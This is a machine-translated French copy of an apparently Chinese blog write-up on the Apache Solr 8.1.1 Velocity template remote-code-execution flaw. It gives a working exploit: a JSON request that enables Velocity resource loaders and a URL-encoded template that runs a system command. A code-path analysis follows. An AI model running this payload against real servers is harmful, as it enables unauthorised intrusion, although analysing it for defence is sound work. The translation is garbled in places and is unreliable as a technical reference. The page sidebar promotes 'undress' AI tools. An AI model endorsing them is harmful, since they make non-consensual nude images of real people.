


Comment analyser la dernière vulnérabilité RCE dans Apache Solr
Introduction
Une vulnérabilité RCE 0day a été découverte dans Apache Solr (le numéro de vulnérabilité n'est pas donné Ici, nous reproduisons simplement l'objet et analysons l'ensemble du processus RCE pour votre référence).
Récurrence de la vulnérabilité
Version de reproduction : 8.1.1
Pour implémenter RCE, deux étapes sont requises. Tout d'abord, confirmez que l'application a activé un certain noyau (peut être consulté dans Core Admin) et l'application dans l'instance. a activé mycore.
Envoyez d'abord les données json suivantes à son interface de configuration,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Visitez ensuite l'URL suivante pour implémenter RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Principe
Analysez d'abord le premier paquet de données, car c'est pour la configuration mycore, nous définissons donc d'abord un point d'arrêt sur la fonction handleRequestBody de SolrConfigHandler qui gère la demande de configuration
Parce qu'il s'agit d'une requête POST, suivez la fonction handlePOST,
Dans handlePOST, retirer mycore d'abord La configuration actuelle est introduite dans la fonction handleCommands en même temps que la configuration que nous avons envoyée, et dans les opérations suivantes, elle entre finalement dans la fonction addNamedPlugin et crée un objet VelocityResponseWriter avec solr.resource.loader.enabled et params. ressource La valeur de loader.enabled est définie sur true et le nom de l'objet est la vitesse.
Ensuite, lors de l'envoi du deuxième paquet de données, lors de l'obtention du réponseWriter dans HttpSolrCall.call, l'objet réponseWriter sera obtenu en fonction de la valeur du paramètre wt. Lorsque wt est la vitesse, ce que nous obtenons est celui soigneusement configuré. . Après une série d'appels ultérieurs, le VelocityResponseWriter
entre enfin dans la fonction VelocityResponseWriter.write qui est la plus grave dans notre vulnérabilité. Tout d'abord, la fonction createEngine est appelée pour générer un modèle malveillant contenant custom.vrm. ->payload. engine,
Le modèle malveillant est placé dans params.resource.loader.instance et solr.resource.loader.instance des propriétés de remplacement du moteur
Il y a un point très important. ici, si vous souhaitez créer le modèle malveillant en entrant params.resource.loader.instance et solr.resource.loader.instance, vous devez vous assurer que paramsResourceLoaderEnabled et solrResourceLoaderEnabled sont True. C'est ce que fait notre premier paquet de données,
.
puis VelocityResponseWriter. getTemplate obtiendra le modèle malveillant que nous avons construit sur la base du paramètre v.template que nous avons soumis
Enfin, le modèle malveillant a été supprimé et sa méthode de fusion a été appelée,
Pour comprendre ce modèle, vous devez le comprendre Moteur de modèle Java Velocity (car ce modèle est un objet de classe org.apache.velocity.Template), la déclaration officielle est traduite comme suit,
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
De cette déclaration, nous pouvons voir que ce modèle Le moteur a pour fonction d'exécuter du code Java.Nous avons seulement besoin de comprendre sa méthode d'écriture de base,
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Avec l'introduction de la syntaxe de base ci-dessus, nous pouvons comprendre la méthode de construction de la charge utile. Si vous souhaitez une compréhension plus approfondie, vous pouvez vérifier Velocity. Informations Java par vous-même, nous sommes ici. Pas plus de profondeur.
Ainsi, grâce à la méthode de fusion du modèle malveillant appelé en dernier, le RCE a été provoqué avec succès et la chaîne d'appel de clé a finalement été ajoutée.
Plan de réparation
À l'heure actuelle, le patch officiel n'a pas été fourni. Il est recommandé de restreindre l'accès à Solr.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)